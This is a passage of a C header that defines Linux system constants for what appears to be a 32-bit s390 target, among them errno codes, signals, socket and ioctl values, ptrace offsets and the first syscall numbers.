ENOTSOCK 88\n#define EDESTADDRREQ 89\n#define EMSGSIZE 90\n#define EPROTOTYPE 91\n#define ENOPROTOOPT 92\n#define EPROTONOSUPPORT 93\n#define ESOCKTNOSUPPORT 94\n#define EOPNOTSUPP 95\n#define ENOTSUP 95\n#define EPFNOSUPPORT 96\n#define EAFNOSUPPORT 97\n#define EADDRINUSE 98\n#define EADDRNOTAVAIL 99\n#define ENETDOWN 100\n#define ENETUNREACH 101\n#define ENETRESET 102\n#define ECONNABORTED 103\n#define ECONNRESET 104\n#define ENOBUFS 105\n#define EISCONN 106\n#define ENOTCONN 107\n#define ESHUTDOWN 108\n#define ETOOMANYREFS 109\n#define ETIMEDOUT 110\n#define ECONNREFUSED 111\n#define EHOSTDOWN 112\n#define EHOSTUNREACH 113\n#define EALREADY 114\n#define EINPROGRESS 115\n#define ESTALE 116\n#define EUCLEAN 117\n#define ENOTNAM 118\n#define ENAVAIL 119\n#define EISNAM 120\n#define EREMOTEIO 121\n#define EDQUOT 122\n#define ENOMEDIUM 123\n#define EMEDIUMTYPE 124\n#define ECANCELED 125\n#define ENOKEY 126\n#define EKEYEXPIRED 127\n#define EKEYREVOKED 128\n#define EKEYREJECTED 129\n#define EOWNERDEAD 130\n#define ENOTRECOVERABLE 131\n#define ERFKILL 132\n#define EHWPOISON 133\n#define __SYS_NERR ((133) + 1)\n#define __LITTLE_ENDIAN 1234\n#define __BIG_ENDIAN 4321\n#define __BYTE_ORDER 4321\n#define __FLOAT_WORD_ORDER 4321\n#define LITTLE_ENDIAN 1234\n#define BIG_ENDIAN 4321\n#define BYTE_ORDER 4321\n#define __WORDSIZE 32\n#define INT8_MAX (127)\n#define INT16_MAX (32767)\n#define INT32_MAX (2147483647)\n#define INT64_MAX (9223372036854775807)\n#define INT8_MIN (-1 - (127))\n#define INT16_MIN (-1 - (32767))\n#define INT32_MIN (-1 - (2147483647))\n#define INT64_MIN (-1 - (9223372036854775807))\n#define INT_LEAST8_MAX (127)\n#define INT_LEAST8_MIN (-1 - (127))\n#define INT_LEAST16_MAX (32767)\n#define INT_LEAST16_MIN (-1 - (32767))\n#define INT_LEAST32_MAX (2147483647)\n#define INT_LEAST32_MIN (-1 - (2147483647))\n#define INT_LEAST64_MAX (9223372036854775807)\n#define INT_LEAST64_MIN (-1 - (9223372036854775807))\n#define UINT8_MAX 0xff\n#define UINT16_MAX 0xffff\n#define UINT32_MAX 0xffffffff\n#define UINT64_MAX 0xffffffffffffffff\n#define UINT_LEAST8_MAX 0xff\n#define UINT_LEAST16_MAX 0xffff\n#define UINT_LEAST32_MAX 0xffffffff\n#define UINT_LEAST64_MAX 0xffffffffffffffff\n#define INTPTR_MIN (-1 - (2147483647))\n#define INTPTR_MAX (2147483647)\n#define UINTPTR_MAX 0xffffffff\n#define SIZE_MAX 0xffffffff\n#define PTRDIFF_MIN (-1 - (2147483647))\n#define PTRDIFF_MAX (2147483647)\n#define INTMAX_MIN (-1 - (9223372036854775807))\n#define INTMAX_MAX (9223372036854775807)\n#define UINTMAX_MAX 0xffffffffffffffff\n#define INT_FAST8_MIN (-1 - (127))\n#define INT_FAST8_MAX (127)\n#define INT_FAST64_MIN (-1 - (9223372036854775807))\n#define INT_FAST64_MAX (9223372036854775807)\n#define UINT_FAST8_MAX 0xff\n#define UINT_FAST64_MAX 0xffffffffffffffff\n#define INT_FAST16_MIN (-1 - (2147483647))\n#define INT_FAST16_MAX (2147483647)\n#define UINT_FAST16_MAX 0xffffffff\n#define INT_FAST32_MIN (-1 - (2147483647))\n#define INT_FAST32_MAX (2147483647)\n#define UINT_FAST32_MAX 0xffffffff\n#define WINT_MIN 0\n#define __FSUID_H 1\n#define NSIG 32\n#define _NSIG 65\n#define SIGHUP 1\n#define SIGINT 2\n#define SIGQUIT 3\n#define SIGILL 4\n#define SIGTRAP 5\n#define SIGABRT 6\n#define SIGIOT 6\n#define SIGFPE 8\n#define SIGKILL 9\n#define SIGSEGV 11\n#define SIGPIPE 13\n#define SIGALRM 14\n#define SIGTERM 15\n#define SIGUNUSED 31\n#define SIGBUS 7\n#define SIGUSR1 10\n#define SIGUSR2 12\n#define SIGSTKFLT 16\n#define SIGCHLD 17\n#define SIGCONT 18\n#define SIGSTOP 19\n#define SIGTSTP 20\n#define SIGTTIN 21\n#define SIGTTOU 22\n#define SIGURG 23\n#define SIGXCPU 24\n#define SIGXFSZ 25\n#define SIGVTALRM 26\n#define SIGPROF 27\n#define SIGWINCH 28\n#define SIGIO 29\n#define SIGPWR 30\n#define SIGSYS 31\n#define SIGCLD 17\n#define SIGPOLL 29\n#define SIGLOST 30\n#define SIGRTMIN 32\n#define SIGRTMAX (65-1)\n#define SA_NOCLDSTOP 0x00000001\n#define SA_NOCLDWAIT 0x00000002\n#define SA_SIGINFO 0x00000004\n#define SA_RESTORER 0x04000000\n#define SA_ONSTACK 0x08000000\n#define SA_RESTART 0x10000000\n#define SA_INTERRUPT 0x20000000\n#define SA_NODEFER 0x40000000\n#define SA_RESETHAND 0x80000000\n#define SA_NOMASK 0x40000000\n#define SA_ONESHOT 0x80000000\n#define SS_ONSTACK 1\n#define SS_DISABLE 2\n#define MINSIGSTKSZ 2048\n#define SIGSTKSZ 8192\n#define SIG_BLOCK 0\n#define SIG_UNBLOCK 1\n#define SIG_SETMASK 2\n#define SI_MAX_SIZE 128\n#define SIGEV_SIGNAL 0\n#define SIGEV_NONE 1\n#define SIGEV_THREAD 2\n#define SIGEV_THREAD_ID 4\n#define SIGEV_MAX_SIZE 64\n#define _SYS_TIME_H 1\n#define ITIMER_REAL 0\n#define ITIMER_VIRTUAL 1\n#define ITIMER_PROF 2\n#define __NUM_GPRS 16\n#define __NUM_FPRS 16\n#define __NUM_ACRS 16\n#define _SIGCONTEXT_NSIG 64\n#define _SIGCONTEXT_NSIG_BPW 64\n#define __SIGNAL_FRAMESIZE 160\n#define _SIGCONTEXT_NSIG_WORDS (64 / 64)\n#define FD_SETSIZE 1024\n#define R_OK 4\n#define W_OK 2\n#define X_OK 1\n#define F_OK 0\n#define SEEK_SET 0\n#define SEEK_CUR 1\n#define SEEK_END 2\n#define STDIN_FILENO 0\n#define STDOUT_FILENO 1\n#define STDERR_FILENO 2\n#define _CS_PATH 1\n#define _SC_CLK_TCK 1\n#define _SC_ARG_MAX 2\n#define _SC_NGROUPS_MAX 3\n#define _SC_OPEN_MAX 4\n#define _SC_PAGESIZE 5\n#define _SC_NPROCESSORS_ONLN 6\n#define _SC_NPROCESSORS_CONF 6\n#define _SC_PHYS_PAGES 7\n#define _SC_GETPW_R_SIZE_MAX 8\n#define _SC_GETGR_R_SIZE_MAX 9\n#define _PC_PATH_MAX 1\n#define _PC_VDISABLE 2\n#define L_cuserid 17\n#define _POSIX_VERSION 199506\n#define F_ULOCK 0\n#define F_LOCK 1\n#define F_TLOCK 2\n#define F_TEST 3\n#define _POSIX_MAPPED_FILES 200809\n#define STAT64_HAS_BROKEN_ST_INO 1\n#define S_IFMT 0xf000\n#define S_IFSOCK 0xc000\n#define S_IFLNK 0xa000\n#define S_IFREG 0x8000\n#define S_IFBLK 0x6000\n#define S_IFDIR 0x4000\n#define S_IFCHR 0x2000\n#define S_IFIFO 0x1000\n#define S_ISUID 0x800\n#define S_ISGID 0x400\n#define S_ISVTX 0x200\n#define S_IRWXU 0x1c0\n#define S_IRUSR 0x100\n#define S_IWUSR 0x80\n#define S_IXUSR 0x40\n#define S_IRWXG 0x38\n#define S_IRGRP 0x20\n#define S_IWGRP 0x10\n#define S_IXGRP 0x8\n#define S_IRWXO 0x7\n#define S_IROTH 0x4\n#define S_IWOTH 0x2\n#define S_IXOTH 0x1\n#define S_IREAD 0x100\n#define S_IWRITE 0x80\n#define S_IEXEC 0x40\n#define _SYS_UIO 1\n#define SOL_SOCKET 1\n#define SO_DEBUG 1\n#define SO_REUSEADDR 2\n#define SO_TYPE 3\n#define SO_ERROR 4\n#define SO_DONTROUTE 5\n#define SO_BROADCAST 6\n#define SO_SNDBUF 7\n#define SO_RCVBUF 8\n#define SO_KEEPALIVE 9\n#define SO_OOBINLINE 10\n#define SO_NO_CHECK 11\n#define SO_PRIORITY 12\n#define SO_LINGER 13\n#define SO_BSDCOMPAT 14\n#define SO_REUSEPORT 15\n#define SO_PASSCRED 16\n#define SO_PEERCRED 17\n#define SO_RCVLOWAT 18\n#define SO_SNDLOWAT 19\n#define SO_RCVTIMEO 20\n#define SO_SNDTIMEO 21\n#define SO_SECURITY_AUTHENTICATION 22\n#define SO_SECURITY_ENCRYPTION_TRANSPORT 23\n#define SO_SECURITY_ENCRYPTION_NETWORK 24\n#define SO_BINDTODEVICE 25\n#define SO_ATTACH_FILTER 26\n#define SO_DETACH_FILTER 27\n#define SO_GET_FILTER 26\n#define SO_PEERNAME 28\n#define SO_TIMESTAMP 29\n#define SCM_TIMESTAMP 29\n#define SO_ACCEPTCONN 30\n#define SO_PEERSEC 31\n#define SO_SNDBUFFORCE 32\n#define SO_RCVBUFFORCE 33\n#define SO_PASSSEC 34\n#define SO_TIMESTAMPNS 35\n#define SCM_TIMESTAMPNS 35\n#define SO_MARK 36\n#define SO_TIMESTAMPING 37\n#define SCM_TIMESTAMPING 37\n#define SO_PROTOCOL 38\n#define SO_DOMAIN 39\n#define SO_RXQ_OVFL 40\n#define SO_WIFI_STATUS 41\n#define SCM_WIFI_STATUS 41\n#define SO_PEEK_OFF 42\n#define SO_NOFCS 43\n#define SO_LOCK_FILTER 44\n#define SO_SELECT_ERR_QUEUE 45\n#define SO_BUSY_POLL 46\n#define SO_MAX_PACING_RATE 47\n#define SO_BPF_EXTENSIONS 48\n#define SO_INCOMING_CPU 49\n#define SO_ATTACH_BPF 50\n#define SO_DETACH_BPF 27\n#define SO_ATTACH_REUSEPORT_CBPF 51\n#define SO_ATTACH_REUSEPORT_EBPF 52\n#define SO_CNX_ADVICE 53\n#define SCM_TIMESTAMPING_OPT_STATS 54\n#define SO_MEMINFO 55\n#define SO_INCOMING_NAPI_ID 56\n#define SO_COOKIE 57\n#define SCM_TIMESTAMPING_PKTINFO 58\n#define SO_PEERGROUPS 59\n#define SO_ZEROCOPY 60\n#define SOCK_STREAM 1\n#define SOCK_DGRAM 2\n#define SOCK_RAW 3\n#define SOCK_RDM 4\n#define SOCK_SEQPACKET 5\n#define SOCK_DCCP 6\n#define SOCK_PACKET 10\n#define UIO_FASTIOV 8\n#define UIO_MAXIOV 1024\n#define SCM_RIGHTS 0x01\n#define SCM_CREDENTIALS 0x02\n#define SCM_CONNECT 0x03\n#define AF_UNSPEC 0\n#define AF_UNIX 1\n#define AF_LOCAL 1\n#define AF_INET 2\n#define AF_AX25 3\n#define AF_IPX 4\n#define AF_APPLETALK 5\n#define AF_NETROM 6\n#define AF_BRIDGE 7\n#define AF_ATMPVC 8\n#define AF_X25 9\n#define AF_INET6 10\n#define AF_ROSE 11\n#define AF_DECnet 12\n#define AF_NETBEUI 13\n#define AF_SECURITY 14\n#define AF_KEY 15\n#define AF_NETLINK 16\n#define AF_ROUTE 16\n#define AF_PACKET 17\n#define AF_ASH 18\n#define AF_ECONET 19\n#define AF_ATMSVC 20\n#define AF_SNA 22\n#define AF_IRDA 23\n#define AF_PPPOX 24\n#define AF_WANPIPE 25\n#define AF_LLC 26\n#define AF_IB 27\n#define AF_MPLS 28\n#define AF_CAN 29\n#define AF_TIPC 30\n#define AF_BLUETOOTH 31\n#define AF_IUCV 32\n#define AF_RXRPC 33\n#define AF_ISDN 34\n#define AF_PHONET 35\n#define AF_IEEE802154 36\n#define AF_CAIF 37\n#define AF_ALG 38\n#define AF_NFC 39\n#define AF_VSOCK 40\n#define AF_KCM 41\n#define AF_QIPCRTR 42\n#define AF_SMC 43\n#define AF_MAX 44\n#define PF_UNSPEC 0\n#define PF_UNIX 1\n#define PF_LOCAL 1\n#define PF_INET 2\n#define PF_AX25 3\n#define PF_IPX 4\n#define PF_APPLETALK 5\n#define PF_NETROM 6\n#define PF_BRIDGE 7\n#define PF_ATMPVC 8\n#define PF_X25 9\n#define PF_INET6 10\n#define PF_ROSE 11\n#define PF_DECnet 12\n#define PF_NETBEUI 13\n#define PF_SECURITY 14\n#define PF_KEY 15\n#define PF_NETLINK 16\n#define PF_ROUTE 16\n#define PF_PACKET 17\n#define PF_ASH 18\n#define PF_ECONET 19\n#define PF_ATMSVC 20\n#define PF_SNA 22\n#define PF_IRDA 23\n#define PF_PPPOX 24\n#define PF_WANPIPE 25\n#define PF_LLC 26\n#define PF_IB 27\n#define PF_MPLS 28\n#define PF_CAN 29\n#define PF_TIPC 30\n#define PF_BLUETOOTH 31\n#define PF_IUCV 32\n#define PF_RXRPC 33\n#define PF_ISDN 34\n#define PF_PHONET 35\n#define PF_IEEE802154 36\n#define PF_CAIF 37\n#define PF_ALG 38\n#define PF_NFC 39\n#define PF_VSOCK 40\n#define PF_KCM 41\n#define PF_QIPCRTR 42\n#define PF_SMC 43\n#define PF_MAX 44\n#define SOMAXCONN 128\n#define MSG_OOB 1\n#define MSG_PEEK 2\n#define MSG_DONTROUTE 4\n#define MSG_TRYHARD 4\n#define MSG_CTRUNC 8\n#define MSG_PROBE 0x10\n#define MSG_TRUNC 0x20\n#define MSG_DONTWAIT 0x40\n#define MSG_EOR 0x80\n#define MSG_WAITALL 0x100\n#define MSG_FIN 0x200\n#define MSG_SYN 0x400\n#define MSG_CONFIRM 0x800\n#define MSG_RST 0x1000\n#define MSG_ERRQUEUE 0x2000\n#define MSG_NOSIGNAL 0x4000\n#define MSG_MORE 0x8000\n#define MSG_WAITFORONE 0x10000\n#define MSG_SENDPAGE_NOTLAST 0x20000\n#define MSG_BATCH 0x40000\n#define MSG_EOF 0x200\n#define MSG_ZEROCOPY 0x4000000\n#define MSG_FASTOPEN 0x20000000\n#define MSG_CMSG_CLOEXEC 0x40000000\n#define SOL_IP 0\n#define SOL_TCP 6\n#define SOL_UDP 17\n#define SOL_IPV6 41\n#define SOL_ICMPV6 58\n#define SOL_SCTP 132\n#define SOL_UDPLITE 136\n#define SOL_RAW 255\n#define SOL_IPX 256\n#define SOL_AX25 257\n#define SOL_ATALK 258\n#define SOL_NETROM 259\n#define SOL_ROSE 260\n#define SOL_DECNET 261\n#define SOL_X25 262\n#define SOL_PACKET 263\n#define SOL_ATM 264\n#define SOL_AAL 265\n#define SOL_IRDA 266\n#define SOL_NETBEUI 267\n#define SOL_LLC 268\n#define SOL_DCCP 269\n#define SOL_NETLINK 270\n#define SOL_TIPC 271\n#define SOL_RXRPC 272\n#define SOL_PPPOL2TP 273\n#define SOL_BLUETOOTH 274\n#define SOL_PNPIPE 275\n#define SOL_RDS 276\n#define SOL_IUCV 277\n#define SOL_CAIF 278\n#define SOL_ALG 279\n#define SOL_NFC 280\n#define SOL_KCM 281\n#define SOL_TLS 282\n#define IPX_TYPE 1\n#define SHUT_RD 0\n#define SHUT_WR 1\n#define SHUT_RDWR 2\n#define NI_NOFQDN 1\n#define NI_NUMERICHOST 2\n#define NI_NAMEREQD 4\n#define NI_NUMERICSERV 8\n#define NI_DGRAM 16\n#define EAI_FAMILY -1\n#define EAI_SOCKTYPE -2\n#define EAI_BADFLAGS -3\n#define EAI_NONAME -4\n#define EAI_SERVICE -5\n#define EAI_ADDRFAMILY -6\n#define EAI_NODATA -7\n#define EAI_MEMORY -8\n#define EAI_FAIL -9\n#define EAI_AGAIN -10\n#define EAI_SYSTEM -11\n#define AI_NUMERICHOST 1\n#define AI_CANONNAME 2\n#define AI_PASSIVE 4\n#define AI_NUMERICSERV 8\n#define AI_ADDRCONFIG 16\n#define AI_V4MAPPED 32\n#define AI_ALL 64\n#define SIOCADDRT 0x890B\n#define SIOCDELRT 0x890C\n#define SIOCRTMSG 0x890D\n#define SIOCGIFNAME 0x8910\n#define SIOCSIFLINK 0x8911\n#define SIOCGIFCONF 0x8912\n#define SIOCGIFFLAGS 0x8913\n#define SIOCSIFFLAGS 0x8914\n#define SIOCGIFADDR 0x8915\n#define SIOCSIFADDR 0x8916\n#define SIOCGIFDSTADDR 0x8917\n#define SIOCSIFDSTADDR 0x8918\n#define SIOCGIFBRDADDR 0x8919\n#define SIOCSIFBRDADDR 0x891a\n#define SIOCGIFNETMASK 0x891b\n#define SIOCSIFNETMASK 0x891c\n#define SIOCGIFMETRIC 0x891d\n#define SIOCSIFMETRIC 0x891e\n#define SIOCGIFMEM 0x891f\n#define SIOCSIFMEM 0x8920\n#define SIOCGIFMTU 0x8921\n#define SIOCSIFMTU 0x8922\n#define SIOCSIFNAME 0x8923\n#define SIOCSIFHWADDR 0x8924\n#define SIOCGIFENCAP 0x8925\n#define SIOCSIFENCAP 0x8926\n#define SIOCGIFHWADDR 0x8927\n#define SIOCGIFSLAVE 0x8929\n#define SIOCSIFSLAVE 0x8930\n#define SIOCADDMULTI 0x8931\n#define SIOCDELMULTI 0x8932\n#define SIOCGIFINDEX 0x8933\n#define SIOGIFINDEX 0x8933\n#define SIOCSIFPFLAGS 0x8934\n#define SIOCGIFPFLAGS 0x8935\n#define SIOCDIFADDR 0x8936\n#define SIOCSIFHWBROADCAST 0x8937\n#define SIOCGIFCOUNT 0x8938\n#define SIOCGIFBR 0x8940\n#define SIOCSIFBR 0x8941\n#define SIOCGIFTXQLEN 0x8942\n#define SIOCSIFTXQLEN 0x8943\n#define SIOCGIFDIVERT 0x8944\n#define SIOCSIFDIVERT 0x8945\n#define SIOCETHTOOL 0x8946\n#define SIOCDARP 0x8953\n#define SIOCGARP 0x8954\n#define SIOCSARP 0x8955\n#define SIOCDRARP 0x8960\n#define SIOCGRARP 0x8961\n#define SIOCSRARP 0x8962\n#define SIOCGIFMAP 0x8970\n#define SIOCSIFMAP 0x8971\n#define SIOCADDDLCI 0x8980\n#define SIOCDELDLCI 0x8981\n#define SIOCDEVPRIVATE 0x89F0\n#define F_LINUX_SPECIFIC_BASE 1024\n#define O_ACCMODE 0x3\n#define O_RDONLY 0x0\n#define O_WRONLY 0x1\n#define O_RDWR 0x2\n#define O_CREAT 0x40\n#define O_EXCL 0x80\n#define O_NOCTTY 0x100\n#define O_TRUNC 0x200\n#define O_APPEND 0x400\n#define O_NONBLOCK 0x800\n#define O_NDELAY 0x800\n#define O_DSYNC 0x1000\n#define FASYNC 0x2000\n#define O_DIRECT 0x4000\n#define O_LARGEFILE 0x8000\n#define O_DIRECTORY 0x10000\n#define O_NOFOLLOW 0x20000\n#define O_NOATIME 0x40000\n#define O_CLOEXEC 0x80000\n#define O_SYNC 0x101000\n#define O_PATH 0x200000\n#define __O_TMPFILE 0x400000\n#define F_DUPFD 0\n#define F_GETFD 1\n#define F_SETFD 2\n#define F_GETFL 3\n#define F_SETFL 4\n#define F_GETLK 5\n#define F_SETLK 6\n#define F_SETLKW 7\n#define F_SETOWN 8\n#define F_GETOWN 9\n#define F_SETSIG 10\n#define F_GETSIG 11\n#define F_GETLK64 12\n#define F_SETLK64 13\n#define F_SETLKW64 14\n#define FD_CLOEXEC 1\n#define F_RDLCK 0\n#define F_WRLCK 1\n#define F_UNLCK 2\n#define F_EXLCK 4\n#define F_SHLCK 8\n#define F_INPROGRESS 16\n#define LOCK_SH 1\n#define LOCK_EX 2\n#define LOCK_NB 4\n#define LOCK_UN 8\n#define LOCK_MAND 32\n#define LOCK_READ 64\n#define LOCK_WRITE 128\n#define LOCK_RW 192\n#define O_TMPFILE 0x410000\n#define O_ASYNC 0x2000\n#define F_SETOWN_EX 15\n#define F_GETOWN_EX 16\n#define F_GETOWNER_UIDS 17\n#define F_OFD_GETLK 36\n#define F_OFD_SETLK 37\n#define F_OFD_SETLKW 38\n#define F_OWNER_TID 0\n#define F_OWNER_PID 1\n#define F_OWNER_PGRP 2\n#define AT_FDCWD -100\n#define AT_SYMLINK_NOFOLLOW 0x100\n#define AT_REMOVEDIR 0x200\n#define AT_SYMLINK_FOLLOW 0x400\n#define AT_NO_AUTOMOUNT 0x800\n#define AT_EMPTY_PATH 0x1000\n#define AT_EACCESS 0x200\n#define MREMAP_MAYMOVE 1\n#define MREMAP_FIXED 2\n#define PROT_READ 0x1\n#define PROT_WRITE 0x2\n#define PROT_EXEC 0x4\n#define PROT_SEM 0x8\n#define PROT_NONE 0x0\n#define PROT_GROWSDOWN 0x01000000\n#define PROT_GROWSUP 0x02000000\n#define MAP_SHARED 0x01\n#define MAP_PRIVATE 0x02\n#define MAP_TYPE 0xf\n#define MADV_REMOVE 9\n#define MADV_DONTFORK 10\n#define MADV_DOFORK 11\n#define MADV_MERGEABLE 12\n#define MADV_UNMERGEABLE 13\n#define MADV_HUGEPAGE 14\n#define MADV_NOHUGEPAGE 15\n#define MADV_DONTDUMP 16\n#define MADV_DODUMP 17\n#define MADV_HWPOISON 100\n#define MADV_SOFT_OFFLINE 101\n#define MLOCK_ONFAULT 1\n#define MAP_FIXED 0x10\n#define MAP_ANONYMOUS 0x20\n#define MAP_GROWSDOWN 0x0100\n#define MAP_DENYWRITE 0x0800\n#define MAP_EXECUTABLE 0x1000\n#define MAP_LOCKED 0x2000\n#define MAP_NORESERVE 0x4000\n#define MAP_POPULATE 0x8000\n#define MAP_NONBLOCK 0x10000\n#define MAP_STACK 0x20000\n#define MAP_HUGETLB 0x40000\n#define MS_ASYNC 1\n#define MS_INVALIDATE 2\n#define MS_SYNC 4\n#define MCL_CURRENT 1\n#define MCL_FUTURE 2\n#define MCL_ONFAULT 4\n#define MADV_NORMAL 0x0\n#define MADV_RANDOM 0x1\n#define MADV_SEQUENTIAL 0x2\n#define MADV_WILLNEED 0x3\n#define MADV_DONTNEED 0x4\n#define MAP_ANON 0x20\n#define MAP_FILE 0\n#define POSIX_MADV_NORMAL 0x0\n#define POSIX_MADV_SEQUENTIAL 0x2\n#define POSIX_MADV_RANDOM 0x1\n#define POSIX_MADV_WILLNEED 0x3\n#define POSIX_MADV_DONTNEED 0x4\n#define PTRACE_TRACEME 0\n#define PTRACE_PEEKTEXT 1\n#define PTRACE_PEEKDATA 2\n#define PTRACE_PEEKUSR 3\n#define PTRACE_PEEKUSER 3\n#define PTRACE_POKETEXT 4\n#define PTRACE_POKEDATA 5\n#define PTRACE_POKEUSR 6\n#define PTRACE_POKEUSER 6\n#define PTRACE_CONT 7\n#define PTRACE_KILL 8\n#define PTRACE_SINGLESTEP 9\n#define PTRACE_ATTACH 0x10\n#define PTRACE_DETACH 0x11\n#define PTRACE_SYSCALL 24\n#define PTRACE_GETEVENTMSG 0x4201\n#define PTRACE_GETSIGINFO 0x4202\n#define PTRACE_SETSIGINFO 0x4203\n#define PTRACE_O_TRACESYSGOOD 0x00000001\n#define PTRACE_O_TRACEFORK 0x00000002\n#define PTRACE_O_TRACEVFORK 0x00000004\n#define PTRACE_O_TRACECLONE 0x00000008\n#define PTRACE_O_TRACEEXEC 0x00000010\n#define PTRACE_O_TRACEVFORKDONE 0x00000020\n#define PTRACE_O_TRACEEXIT 0x00000040\n#define PTRACE_O_MASK 0x0000007f\n#define PTRACE_EVENT_FORK 1\n#define PTRACE_EVENT_VFORK 2\n#define PTRACE_EVENT_CLONE 3\n#define PTRACE_EVENT_EXEC 4\n#define PTRACE_EVENT_VFORK_DONE 5\n#define PTRACE_EVENT_EXIT 6\n#define PT_TRACE_ME 0\n#define PT_READ_I 1\n#define PT_READ_D 2\n#define PT_READ_U 3\n#define PT_WRITE_I 4\n#define PT_WRITE_D 5\n#define PT_WRITE_U 6\n#define PT_CONTINUE 7\n#define PT_KILL 8\n#define PT_STEP 9\n#define PT_ATTACH 0x10\n#define PT_DETACH 0x11\n#define PT_PSWMASK 0x00\n#define PT_PSWADDR 0x04\n#define PT_GPR0 0x08\n#define PT_GPR1 0x0C\n#define PT_GPR2 0x10\n#define PT_GPR3 0x14\n#define PT_GPR4 0x18\n#define PT_GPR5 0x1C\n#define PT_GPR6 0x20\n#define PT_GPR7 0x24\n#define PT_GPR8 0x28\n#define PT_GPR9 0x2C\n#define PT_GPR10 0x30\n#define PT_GPR11 0x34\n#define PT_GPR12 0x38\n#define PT_GPR13 0x3C\n#define PT_GPR14 0x40\n#define PT_GPR15 0x44\n#define PT_ACR0 0x48\n#define PT_ACR1 0x4C\n#define PT_ACR2 0x50\n#define PT_ACR3 0x54\n#define PT_ACR4 0x58\n#define PT_ACR5 0x5C\n#define PT_ACR6 0x60\n#define PT_ACR7 0x64\n#define PT_ACR8 0x68\n#define PT_ACR9 0x6C\n#define PT_ACR10 0x70\n#define PT_ACR11 0x74\n#define PT_ACR12 0x78\n#define PT_ACR13 0x7C\n#define PT_ACR14 0x80\n#define PT_ACR15 0x84\n#define PT_ORIGGPR2 0x88\n#define PT_FPC 0x90\n#define PT_FPR0_HI 0x98\n#define PT_FPR0_LO 0x9C\n#define PT_FPR1_HI 0xA0\n#define PT_FPR1_LO 0xA4\n#define PT_FPR2_HI 0xA8\n#define PT_FPR2_LO 0xAC\n#define PT_FPR3_HI 0xB0\n#define PT_FPR3_LO 0xB4\n#define PT_FPR4_HI 0xB8\n#define PT_FPR4_LO 0xBC\n#define PT_FPR5_HI 0xC0\n#define PT_FPR5_LO 0xC4\n#define PT_FPR6_HI 0xC8\n#define PT_FPR6_LO 0xCC\n#define PT_FPR7_HI 0xD0\n#define PT_FPR7_LO 0xD4\n#define PT_FPR8_HI 0xD8\n#define PT_FPR8_LO 0XDC\n#define PT_FPR9_HI 0xE0\n#define PT_FPR9_LO 0xE4\n#define PT_FPR10_HI 0xE8\n#define PT_FPR10_LO 0xEC\n#define PT_FPR11_HI 0xF0\n#define PT_FPR11_LO 0xF4\n#define PT_FPR12_HI 0xF8\n#define PT_FPR12_LO 0xFC\n#define PT_FPR13_HI 0x100\n#define PT_FPR13_LO 0x104\n#define PT_FPR14_HI 0x108\n#define PT_FPR14_LO 0x10C\n#define PT_FPR15_HI 0x110\n#define PT_FPR15_LO 0x114\n#define PT_CR_9 0x118\n#define PT_CR_10 0x11C\n#define PT_CR_11 0x120\n#define PT_IEEE_IP 0x13C\n#define PT_LASTOFF 0x13C\n#define PT_ENDREGS 0x140-1\n#define NUM_GPRS 16\n#define NUM_FPRS 16\n#define NUM_CRS 16\n#define NUM_ACRS 16\n#define GPR_SIZE 4\n#define FPR_SIZE 8\n#define FPC_SIZE 4\n#define FPC_PAD_SIZE 4\n#define CR_SIZE 4\n#define ACR_SIZE 4\n#define STACK_FRAME_OVERHEAD 96\n#define FPC_EXCEPTION_MASK 0xF8000000\n#define FPC_FLAGS_MASK 0x00F80000\n#define FPC_DXC_MASK 0x0000FF00\n#define FPC_RM_MASK 0x00000003\n#define FPC_VALID_MASK 0xF8F8FF03\n#define PER_EM_MASK 0xE8000000\n#define PTRACE_PEEKUSR_AREA 0x5000\n#define PTRACE_POKEUSR_AREA 0x5001\n#define PTRACE_PEEKTEXT_AREA 0x5002\n#define PTRACE_PEEKDATA_AREA 0x5003\n#define PTRACE_POKETEXT_AREA 0x5004\n#define PTRACE_POKEDATA_AREA 0x5005\n#define PTRACE_PROT 21\n#define S390_SYSCALL_SIZE 2\n#define SYS_accept4 364\n#define SYS_access 33\n#define SYS_acct 51\n#define SYS_add_key 278\n#define SYS_adjtimex 124\n#define SYS_afs_syscall 137\n#define SYS_alarm 27\n#define SYS_bdflush 134\n#define SYS_bind 361\n#define SYS_bpf 351\n#define SYS_brk 45\n#define SYS_capget 184\n#define SYS_capset 185\n#define SYS_chdir 12\n#define SYS_chmod 15\n#define SYS_chown 182\n#define SYS_chown32 212\n#define SYS_chroot 61\n#define SYS_clock_adjtime 337\n#define SYS_clock_adjtime64 405\n#define SYS_clock_getres (254+7)\n#define SYS_clock_getres_time64 406\n#define SYS_clock_gettime (254+6)\n#define SYS_clock_gettime64 403\n#define SYS_clock_nanosleep (254+8)\n#define SYS_clock_nanosleep_time64 407\n#define SYS_clock_settime (254+5)\n#define SYS_clock_settime64 404\n#define SYS_clone 120\n#define SYS_clone3 435\n#define SYS_close 6\n#define SYS_connect 362\n#define SYS_copy_file_range 375\n#define SYS_creat 8\n#define SYS_create_module 127\n#define SYS_delete_module 129\n#define SYS_dup 41\n#define SYS_dup2 63\n#define SYS_dup3 326\n#define SYS_epoll_create 249\n#define SYS_epoll_create1 327\n#define SYS_epoll_ctl 250\n#define SYS_epoll_pwait 312\n#define SYS_epoll_wait 251\n#define SYS_eventfd 318\n#define SYS_eventfd2 323\n#define SYS_execve 11\n#define SYS_execveat 354\n#define SYS_exit 1\n#define SYS_exit_group 248\n#define SYS_faccessat 300\n#define SYS_fadvise64 253\n#define SYS_fadvise64_64 264\n#define SYS_fallocate 314\n#define SYS_fanotify_init 332\n#define SYS_fanotify_mark 333\n#define SYS_fchdir 133\n#define SYS_fchmod 94\n#define SYS_fchmodat 299\n#define SYS_fchown 95\n#define SYS_fchown32 207\n#define SYS_fchownat 291\n#define SYS_fcntl 55\n#define SYS_fcntl64 221\n#define SYS_fdatasync 148\n#define SYS_fgetxattr 229\n#define SYS_finit_module 344\n#define SYS_flistxattr 232\n#define SYS_flock 143\n#define SYS_fork 2\n#define SYS_fremovexattr 235\n#define SYS_fsconfig 431\n#define SYS_fsetxattr 226\n#define SYS_fsmount 432\n#define SYS_fsopen 430\n#define SYS_fspick 433\n#define SYS_fstat 108\n#define SYS_fstat64 197\n#define SYS_fstatat64 293\n#define SYS_fstatfs 100\n#define SYS_fstatfs64 266\n#define SYS_fsync 118\n#define SYS_ftruncate 93\n#define SYS_ftruncate64 194\n#define SYS_futex 238\n#define SYS_futex_time64 422\n#define SYS_futimesat 292\n#define SYS_getcpu 311\n#define SYS_getcwd 183\n#define SYS_getdents 141\n#define SYS_getdents64 220\n#define SYS_getegid 50\n#define SYS_getegid32 202\n#define SYS_geteuid 49\n#define SYS_geteuid32 201\n#define SYS_getgid 47\n#define 